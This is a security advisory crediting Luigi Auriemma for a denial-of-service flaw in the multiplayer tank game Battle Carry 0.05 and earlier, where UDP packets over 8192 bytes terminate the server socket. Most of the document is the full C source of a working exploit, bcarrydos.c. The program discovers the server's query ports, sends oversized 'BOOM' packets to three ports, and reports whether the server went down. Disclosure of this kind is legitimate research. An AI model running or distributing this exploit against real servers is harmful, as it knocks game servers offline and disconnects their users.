|
|
|
|
| |
"Battle Carry is a tank-based multiplayer action title that features very fast game play, ridiculousy powerful tanks, death-defying stunts, and jaw-dropping weaponry.."
By bupplying a big packet size to Battle Carry, attackers can cause a DoS and disconnect users from the game servers. |
| |
Credit:
The information has been provided by Luigi Auriemma .
The original article can be found at: http://aluigi.altervista.org/adv/bcarrydos-adv.txt
|
| |
Vulnerable Systems:
* Battle Carry version 0.05 and prior
A packet bigger than 8192 bytes causes a socket error in the Python code used to handle the server which immediately terminates the socket and interrupts the listening on the UDP port where has been received the packet.
Exploit:
The winerr.h file can be found at: http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html
bcarrydos.c:
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define BUFFSZ (8192 + 10) // +10 is for the BOOM
#define PORT 7000
#define TIMEOUT 1
#define INFO "Requesting ServerInfoObject"
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz);
int timeout(int sock);
u_int resolv(char *host);
void std_err(void);
struct sockaddr_in peer;
int main(int argc, char *argv[]) {
int sd,
len;
u_short port = PORT;
u_char buff[BUFFSZ];
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"Battle Carry <= .005 socket termination "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <host> [port(%hu)]\n"
"\n"
"Note: this tool blocks all the 3 available server ports\n"
"Note: port can be one of the 3 server ports, the tool will automatically\n"
" recognize it\n"
"\n", argv[0], port);
exit(1);
}
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
// peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
printf("- get server info from port %hu:\n", port + 10);
peer.sin_port = htons(port + 10);
len = send_recv(sd, INFO, sizeof(INFO) - 1, buff, sizeof(buff));
if(len < 0) {
printf("- get server info from port %hu:\n", port - 1000);
peer.sin_port = htons(port - 1000);
len = send_recv(sd, INFO, sizeof(INFO) - 1, buff, sizeof(buff));
if(len < 0) {
printf("- get server info from port %hu:\n", port);
peer.sin_port = htons(port);
len = send_recv(sd, INFO, sizeof(INFO) - 1, buff, sizeof(buff));
if(len < 0) {
printf("\n"
"Alert: no query port found, I try to send the packet only to the port %hu\n",
port);
}
}
}
if(len > 0) {
port = ntohs(*(u_short *)(buff + 15));
printf(
" IP: %.15s\n"
" Port: %hu\n"
" Name: %.26s\n"
" Map: %.16s\n"
" Players: %hhu\n"
" Mode: %.5s\n"
"\n",
buff,
port,
buff + 17,
buff + 42,
buff[58],
buff + 59);
}
printf("- send BOOM packet to the port %hu\n", port);
peer.sin_port = htons(port);
memset(buff, 0, sizeof(buff));
len = send_recv(sd, buff, sizeof(buff), buff, sizeof(buff));
printf("- send BOOM packet to the port %hu\n", port + 10);
peer.sin_port = htons(port + 10);
if(len > 0) memset(buff, 0, sizeof(buff));
len = send_recv(sd, buff, sizeof(buff), buff, sizeof(buff));
printf("- send BOOM packet to the port %hu\n", port + 1010);
peer.sin_port = htons(port + 1010);
if(len > 0) memset(buff, 0, sizeof(buff));
len = send_recv(sd, buff, sizeof(buff), buff, sizeof(buff));
fputs("- check server:\n", stdout);
peer.sin_port = htons(port + 10);
len = send_recv(sd, INFO, sizeof(INFO) - 1, buff, sizeof(buff));
if(len < 0) {
fputs("\n Server IS vulnerable!!!\n", stdout);
} else {
fputs("\n Server doesn't seem vulnerable\n", stdout);
}
close(sd);
return(0);
}
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz) {
int retry,
len;
for(retry = 2; retry; retry--) {
sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer));
if(!timeout(sd)) break;
}
if(!retry) return(-1);
len = recvfrom(sd, out, outsz, 0, NULL, NULL);
// if(len < 0);
return(len);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_int resolv(char *host) {
struct hostent *hp;
u_int host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_int *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
/* EoF */
|
|
|
|
|